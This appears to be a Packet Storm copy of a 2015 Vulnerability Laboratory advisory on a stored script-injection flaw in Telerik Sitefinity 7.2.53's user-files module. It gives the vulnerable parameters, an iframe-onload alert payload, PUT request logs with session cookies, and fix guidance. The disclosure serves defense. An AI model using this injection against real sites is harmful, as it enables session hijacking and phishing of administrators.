exploit the possibilities

Sitefinity Enterprise 7.2.53 Script Insertion

Sitefinity Enterprise 7.2.53 Script Insertion
Posted Jan 14, 2015
Authored by Benjamin Kunz Mejri | Site vulnerability-lab.com

Sitefinity Enterprise version 7.2.53 suffers from a persistent script insertion vulnerability.

tags | exploit
MD5 | 41b5ecc682a13087e2d2868dfd4c846f

Sitefinity Enterprise 7.2.53 Script Insertion

Change Mirror Download
Document Title:
===============
Sitefinity Enterprise v7.2.53 - Persistent Vulnerability


References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1369


Release Date:
=============
2015-01-06


Vulnerability Laboratory ID (VL-ID):
====================================
1369


Common Vulnerability Scoring System:
====================================
3.7


Product & Service Introduction:
===============================
Usability that Empowers the Business. Empower your business users to get their job done independently and effectively. Powerful Drag & Drop
Authoring, on-page editing and contextual guidance for self-servicing marketing teams. Complete Feature set to create content experiences,
run campaigns and deliver results. Rated #1 in Ease of Use in the Gleanster 2014 WCM Benchmarks. Personalization, content targeting, persona
profiling and segmentation that your team can immediately start using. Integrated Digital Experience Cloud that includes Customer Journey
Analysis, Predictive and Prescriptive Analytics for optimizing every customer experiences. Built-in ecommerce, email marketing, landing page
management and cross-channel delivery tools.

(Copy of the Vendor Homepage: http://www.sitefinity.com/product/overview )


Abstract Advisory Information:
==============================
The Vulnerability Laboratory Research Team discovered an application-side input validation vulnerability in the official Telerik Sitefinity v7.2.53 Enterprise Edition CMS.


Vulnerability Disclosure Timeline:
==================================
2015-01-06: Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Affected Product(s):
====================
Telerik
Product: Sitefinity Enterprise Edition - Content Managemtn System 7.2.53


Exploitation Technique:
=======================
Remote


Severity Level:
===============
Medium


Technical Details & Description:
================================
An application-side validation vulnerability has been discovered in the official Telerik Sitefinity v7.2.53 Enterprise Edition CMS.
The vulnerability allows an attacker to inject own script code as payload to the application-side of the vulnerable service function or module.

The vulnerability is located in the `sfItemTitle` and `sf_binderCommand_viewItemsByParent` values of the vulnerable `User Files > Properties` module.
Attackers are able to send special crafted PUT requests with manipulated `sfItemTitle` to the service application to compromise the `./user-files` module.
The execution of the injected script code occurs on the application of the user-files listing module by the manipulated name context field. The attack
vector is persistent on the application-side and the request method to inject is PUT.

The security risk of the application-side web vulnerability is estimated as medium with a cvss (common vulnerability scoring system) count of 3.7.
Exploitation of the application-side web vulnerability requires a privileged web-application user account and low or medium user interaction.
Successful exploitation of the vulnerabilities result in persistent phishing mails, session hijacking, persistent external redirect to malicious
sources and application-side manipulation of affected or connected module context.

Request Method(s):
[+] PUT

Vulnerable Module(s):
[+] Settings & Configuration > User Files > Properties

Vulnerable Parameter(s):
[+] sfItemTitle
[+] sf_binderCommand_viewItemsByParent

Affected Module(s):
[+] User File listing & Upload Files (./Administration/User-files)


Proof of Concept (PoC):
=======================
The persistent input validation web vulnerability can be exploited by remote attackers and local privileged application user accounts with low user interaction.
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.

Input: Settings & Configuration > User Files
http://site16408192010623.srv03.sandbox.localhost:8080/Sitefinity/Administration/User-files#event=showWindow&winId=ctl04_userFilesBackendList_ctl00_ctl00_itemsGrid_ctl00_ctl00_edit&autoMax=false

Execution: User File listing & Upload Files
http://site16408192010623.srv03.sandbox.localhost:8080/Sitefinity/Administration/User-files
http://site16408192010623.srv03.sandbox.localhost:8080/Sitefinity/Administration/User-files#event=showWindow&winId=ctl04_userFilesBackendList_ctl00_ctl00_itemsGrid_ctl00_ctl00_upload&autoMax=false


PoC: ./User-files

</div></td>
</tr>
</tfoot><tbody>
<tr style="visibility: visible; display: table-row;" class="rgRow" id="ctl04_userFilesBackendList_ctl00_ctl00_itemsGrid_ctl00_ctl00_grid_ctl00__0">
<td class="sfCheckBoxCol"><input id="ctl04_userFilesBackendList_ctl00_ctl00_itemsGrid_ctl00_ctl00_grid_ctl00_ctl04_ClientSelectColumnSelectCheckBox"
name="ctl04$userFilesBackendList$ctl00$ctl00$itemsGrid$ctl00$ctl00$grid$ctl00$ctl04$ClientSelectColumnSelectCheckBox" type="checkbox"></td><td class="sfFolderIcn">
<div class="sys-container">
<p><a href="" class="sf_binderCommand_viewItemsByParent">"><[PERSISTENT SCRIPT CODE EXECUTION!];)" <="" "=""><iframe src=a onload=alert("PENTEST") <</a></p>
</iframe></a></p></div>
</td><td class="sfAlbumInfo">
<div class="sys-container"><a href="" class="sf_binderCommand_viewItemsByParent sfItemTitle">"><[PERSISTENT SCRIPT CODE EXECUTION!]") <</a><p>0 items</p><p></p>
</iframe></a></div>
</td><td class="sfActionsWithProgress">
<div class="sys-container">
<div class="cmDiv"><ul class="actionsMenu clickMenu" id="actions0">
<li class="main sfFirst"><a href="" class="sf_binderCommand_upload">Upload files</a></li>
<li class="main sfLast">
<a menu="actions0" href="">Actions</a>
<div style="position: absolute;" class="outerbox inner"><div class="shadowbox1"></div><div class="shadowbox2"></div><div class="shadowbox3"></div><ul class="innerBox">
<li>
<a href="" class="sf_binderCommand_edit">Edit Properties</a>
</li>
<li>
<a href="" class="sf_binderCommand_permissions">Set Permissions</a>
</li>
<li>
<a href="" class="sf_binderCommand_relocateLibrary">Change library URL</a>
</li>
<li>
<a href="" class="sf_binderCommand_transferLibrary">Move to another storage</a>
</li>
</ul></div>


--- PoC Session Logs [PUT] (Sandbox) ---
Status: 200[OK]
PUT http://site16408192010623.srv03.sandbox.localhost:8080/Sitefinity/Services/Content/DocumentLibraryService.svc/00000000-0000-0000-0000-000000000000/?
itemType=Telerik.Sitefinity.Libraries.Model.DocumentLibrary&providerName=SystemLibrariesProvider&managerType=&provider=SystemLibrariesProvider&workflowOperation= Load Flags[LOAD_BACKGROUND ] Größe des Inhalts[1942] Mime Type
[application/json]
Request Header:
Host[site16408192010623.srv03.sandbox.localhost:8080]
User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:34.0) Gecko/20100101 Firefox/34.0]
Accept[text/html,application/xhtml
+xml,application/xml;q=0.9,*/*;q=0.8]
Accept-Language[de,en-US;q=0.7,en;q=0.3]
Accept-Encoding[gzip, deflate]
X-Requested-With[XMLHttpRequest]
Content-Type[application/json; charset=UTF-8]
Referer
[http://site16408192010623.srv03.sandbox.localhost:8080/Sitefinity/Dialog/ContentViewEditDialog?ControlDefinitionName=UserFilesBackend&ViewName=UserFilesBackendEditView&language=en&provider=SystemLibrariesProvider]
Content-Length[1580]
Cookie[__utma=172034556.525088814.1417720592.1417720592.1417720592.1; __utmb=172034556.15.9.1417720879538; __utmc=172034556;
__utmz=172034556.1417720592.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); optimizelySegments=
%7B%22231657604%22%3A%22direct%22%2C%22232100060%22%3A%22ff%22%2C%22231586836%22%3A%22false%22%7D; optimizelyEndUserId=oeu1417720591980r0.28011022211653314;
optimizelyBuckets=%7B%7D; __CT_Data=gpv=8&apv_43014_www=8; WRUID=0;
_mkto_trk=id:194-TGP-611&token:_mch-localhost:8080-1417720595883-55422; tlrksf=aGXixH2bBlrRA97hnWN5sFB0%2BvJxHVuu2qnpZkS9RYv%2F87XYIvNh2N%2Fjuwd0kGsFVvqywF1
a3aM3f5iJNpiJkTIo674vbDXIM%2F4%2B7yk9V2byjPPieLbTLbWijZZqwdoCpgmrkgndB8G2vB
%2FzMHYy1Q%3D%3D; sf-data-intell-subject=42072ebe-ef56-4c95-bb3c-a8a2634661f4;
.ASPXAUTH=95B673ED661D659CFA2B105E95D5ECFB2F4FCC1399E5699CFEC062B2D399DC752C6205E6B8DB4CA93DBB4C2E5FB23AEF8B3ECD51588FD8111F6E69453C609E399B69000
BF2884D1435BCB937BB6EC5667F3943A804FE36A87AE9295EC2DBA53B605E5E37BD22E6DDB9B521C33687AFCBE4
8E1DB3BCEC875E4061DCBE6F6524B60F1E52007F92C955FA5DDE19A91E1A72CFC9D50B9F473FD3882D5F777906C8959977DBAEB24F80D4BAA0CD052B1973A4;
SF-TokenId=6e637324-9c93-42b7-ab60-51367d11133e;
FedAuth=77u/PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0idXRmLTgiPz4...
lnYXpDTjdsdE5Kckc5aFZ3TS9uZ0lrZ1VOSWNvQU5QY1YyVEJQeUR4UGt2VTRWTHllSHJjNTdSMW9LcXZOMHhPV05
oakpHbTM5Q2JQVzlnMkFOZC9VSit2dk1UZU5uQlhIMG1uNGttVVp2QjF2OEo4cHhSTTZqWlVNYmNuTGFrN2dITU95NjVpMjhnc1pBREFBQT08L0Nvb2tpZT48L1NlY3VyaXR5Q29udGV4dFRva2VuPg==;
sf_site=34c08ad3-81d1-4b36-82b5-4610ef8204bc]
Connection[keep-alive]

POST-Daten:
{"Item":{"AllowComments":true,"AllowTrackBacks":null,"ApproveComments":false,"AvailableLanguages":["","en"],
"BlobStorageProvider":"Database","ClientCacheDuration":0,"ClientCacheProfile":"","DateCreated":"\/Date
(1362640264770)\/","DefaultPageId":null,"Description":{"PersistedValue":"","Value":""},"DownloadSecurityProviderName":null,
"EmailAuthor":false,"EnableClientCache":false,"EnableOutputCache":false,"ExpirationDate":null,"Id":"7551e10d-
515d-67af-8bab-ff0100a58543","IncludeInSitemap":false,"ItemDefaultUrl":{"PersistedValue":"/form-files-sf_jobapplication",
"Value":"/form-files-sf_jobapplication"},"LastModifiedBy":"00000000-0000-0000-0000-
000000000000","MaxItemSize":"0","MaxSize":"0","OriginalContentId":"00000000-0000-0000-0000-000000000000","OutputCacheDuration":0,"OutputCacheMaxSize":0,
"OutputCacheProfile":null,"OutputSlidingExpiration":false,"Owner":"268f8745-3b5f-
425f-a206-3731adacea20","ParentId":null,"PostRights":1,"PublicationDate":"\/Date(1362640264640)\/","RunningTask":"00000000-0000-0000-0000-000000000000",
"Status":0,"ThumbnailProfiles":[],"Title":{"PersistedValue":"\"><[PERSISTENT SCRIPT CODE INJECTION VULNERABILITY!]") <","Value":"asdasdasd"},"UIStatus":0,
"UrlName":{"PersistedValue":"form-files-sf_jobapplication","Value":"form-files-
sf_jobapplication"},"UseDefaultSettingsForClientCaching":false,"UseDefaultSettingsForOutputCaching":false,"Version":0,"ViewsCount":0,
"Visible":false,"VotesCount":0,"VotesSum":0,"LastModified":"\/Date
(1417721995648)\/"},"ItemType":"Telerik.Sitefinity.Libraries.Model.DocumentLibrary"}]
Response Header:
Cache-Control[private]
Pragma[no-cache]
Content-Length[1942]
Content-Type[application/json; charset=utf-8]
Expires[0]
Server[Microsoft-IIS/8.5]
Set-Cookie
[FedAuth=77u/PD94bWw... R5Q29udGV4dFRva2VuPg==; path=/; HttpOnly]
X-AspNet-Version[4.0.30319]
X-Powered-By[ASP.NET]
Date[Thu, 04 Dec 2014 19:40:07 GMT]
-
Status: 200[OK]
GET http://site16408192010623.srv03.sandbox.localhost:8080/Sitefinity/Services/Content/DocumentLibraryService.svc/?
managerType=&providerName=&itemType=Telerik.Sitefinity.Libraries.Model.DocumentLibrary&provider=SystemLibrariesProvider&sortExpression=LastModified%20DESC&skip=0&take=50
Load Flags[LOAD_BACKGROUND ] Größe des Inhalts[5598] Mime Type
[application/json]
Request Header:
Host[site16408192010623.srv03.sandbox.localhost:8080]
User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:34.0) Gecko/20100101 Firefox/34.0]
Accept[text/html,application/xhtml
+xml,application/xml;q=0.9,*/*;q=0.8]
Accept-Language[de,en-US;q=0.7,en;q=0.3]
Accept-Encoding[gzip, deflate]
X-Requested-With[XMLHttpRequest]
SF_UI_CULTURE[en]
Referer
[http://site16408192010623.srv03.sandbox.localhost:8080/Sitefinity/Administration/User-files]
Cookie[__utma=172034556.525088814.1417720592.1417720592.1417720592.1; __utmb=172034556.15.9.1417720879538; __utmc=172034556;
__utmz=172034556.1417720592.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); optimizelySegments=%7B%22231657604%22%3A%22direct%22%2C%22232100060%22%3A%22ff%22%2C%22231586836%22%3A%22false%22%7D;
optimizelyEndUserId=oeu1417720591980r0.28011022211653314; optimizelyBuckets=%7B%7D; __CT_Data=gpv=8&apv_43014_www=8; WRUID=0; _mkto_trk=id:194-TGP-611&token:_mch-localhost:8080-1417720595883-55422;
tlrksf=aGXixH2bBlrRA97hnWN5sFB0%2BvJxHVuu2qnpZkS9RYv%2F87XYIvNh2N%2Fjuwd0kGsFVvqywF1a3aM3f5iJNpiJkTIo674vbDXIM%2F4%2B7yk9V2byjPPieLbTLbWijZZqwdoCpgmrkgndB8G2vB%2FzMHYy1Q%3D%3D;
sf-data-intell-subject=42072ebe-ef56-4c95-bb3c-a8a2634661f4; .ASPXAUTH=95B673ED66...a2VuPg==; path=/; HttpOnly]
X-AspNet-Version[4.0.30319]
X-Powered-By[ASP.NET]
Date[Thu, 04 Dec 2014 19:40:07 GMT]
-
Status: 200[OK]
GET http://site16408192010623.srv03.sandbox.localhost:8080/Sitefinity/Administration/[PERSISTENT SCRIPT CODE EXECUTION!]
Load Flags[LOAD_DOCUMENT_URI ] Größe des Inhalts[1245] Mime Type[text/html]
Request Header:
Host[site16408192010623.srv03.sandbox.localhost:8080]
User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:34.0) Gecko/20100101 Firefox/34.0]
Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
Accept-Language[de,en-US;q=0.7,en;q=0.3]
Accept-Encoding[gzip, deflate]
Referer[http://site16408192010623.srv03.sandbox.localhost:8080/Sitefinity/Administration/User-files]
Cookie[__utma=172034556.525088814.1417720592.1417720592.1417720592.1; __utmb=172034556.15.9.1417720879538; __utmc=172034556;
__utmz=172034556.1417720592.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); optimizelySegments=%7B
%22231657604%22%3A%22direct%22%2C%22232100060%22%3A%22ff%22%2C%22231586836%22%3A%22false%22%7D;
optimizelyEndUserId=oeu1417720591980r0.28011022211653314; optimizelyBuckets=%7B%7D; __CT_Data=gpv=8&apv_43014_www=8; WRUID=0;
_mkto_trk=id:194-TGP-611&token:_mch-localhost:8080-1417720595883-55422; tlrksf=aGXixH2bBlrRA97hnWN5sFB0%2BvJxHVuu2qnpZkS9RYv%2
F87XYIvNh2N%2Fjuwd0kGsFVvqywF1a3aM3f5iJNpiJkTIo674vbDXIM%2F4%2B7yk9V2byjPPieLbTLbWijZZqwdoCpgmrkgndB8G2vB
%2FzMHYy1Q%3D%3D; sf-data-intell-subject=42072ebe-ef56-4c95-bb3c-a8a2634661f4;
.ASPXAUTH=95B673ED661...dFRva2VuPg==; path=/; HttpOnly]
X-Powered-By[ASP.NET]
Date[Thu, 04 Dec 2014 19:40:08 GMT]
Content-Length[1245]


Reference(s):
http://site16408192010623.srv03.sandbox.localhost:8080/
http://site16408192010623.srv03.sandbox.localhost:8080/Sitefinity/
http://site16408192010623.srv03.sandbox.localhost:8080/Sitefinity/Administration/
http://site16408192010623.srv03.sandbox.localhost:8080/Sitefinity/Services/Content/DocumentLibraryService.svc
http://site16408192010623.srv03.sandbox.localhost:8080/Sitefinity/Services/Content/DocumentLibraryService.svc/00000000-0000-0000-0000-000000000000/



Solution - Fix & Patch:
=======================
The vulnerability can be patched by a secure restriction of the vulnerable name input field. Disallow special chars.
Encode and parse the input that runs through the sfItemTitle and sf_binderCommand_viewItemsByParent value to prevent persistent script code executions.
Encode the user-files output listing index module with the vulnerable name value to ensure script code execution is blocked.


Security Risk:
==============
The security risk of the persistent input validation web vulnerability in the backend interface is estimated as medium. (CVSS 3.7)


Credits & Authors:
==================
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (bkm@evolution-sec.com) [www.vulnerability-lab.com]


Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed
or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable
in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab
or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for
consequential or incidental damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any vendor licenses,
policies, deface websites, hack into databases or trade with fraud/stolen material.

Domains: www.vulnerability-lab.com - www.vuln-lab.com - www.evolution-sec.com
Contact: admin@vulnerability-lab.com - research@vulnerability-lab.com - admin@evolution-sec.com
Section: magazine.vulnerability-db.com - vulnerability-lab.com/contact.php - evolution-sec.com/contact
Social: twitter.com/#!/vuln_lab - facebook.com/VulnerabilityLab - youtube.com/user/vulnerability0lab
Feeds: vulnerability-lab.com/rss/rss.php - vulnerability-lab.com/rss/rss_upcoming.php - vulnerability-lab.com/rss/rss_news.php
Programs: vulnerability-lab.com/submit.php - vulnerability-lab.com/list-of-bug-bounty-programs.php - vulnerability-lab.com/register/

Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. Permission to
electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by
Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other information on this website
is trademark of vulnerability-lab team & the specific authors or managers. To record, list (feed), modify, use or edit our material contact
(admin@vulnerability-lab.com or research@vulnerability-lab.com) to get a permission.

Copyright © 2015 | Vulnerability Laboratory - [Evolution Security GmbH]™

--
VULNERABILITY LABORATORY - RESEARCH TEAM
SERVICE: www.vulnerability-lab.com
CONTACT: research@vulnerability-lab.com
PGP KEY: http://www.vulnerability-lab.com/keys/admin@vulnerability-lab.com%280x198E9928%29.txt

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

March 2019

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    15 Files
  • 2
    Mar 2nd
    5 Files
  • 3
    Mar 3rd
    3 Files
  • 4
    Mar 4th
    25 Files
  • 5
    Mar 5th
    20 Files
  • 6
    Mar 6th
    16 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    12 Files
  • 9
    Mar 9th
    3 Files
  • 10
    Mar 10th
    4 Files
  • 11
    Mar 11th
    23 Files
  • 12
    Mar 12th
    12 Files
  • 13
    Mar 13th
    12 Files
  • 14
    Mar 14th
    19 Files
  • 15
    Mar 15th
    12 Files
  • 16
    Mar 16th
    3 Files
  • 17
    Mar 17th
    1 Files
  • 18
    Mar 18th
    15 Files
  • 19
    Mar 19th
    1 Files
  • 20
    Mar 20th
    0 Files
  • 21
    Mar 21st
    0 Files
  • 22
    Mar 22nd
    0 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    0 Files
  • 26
    Mar 26th
    0 Files
  • 27
    Mar 27th
    0 Files
  • 28
    Mar 28th
    0 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2019 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close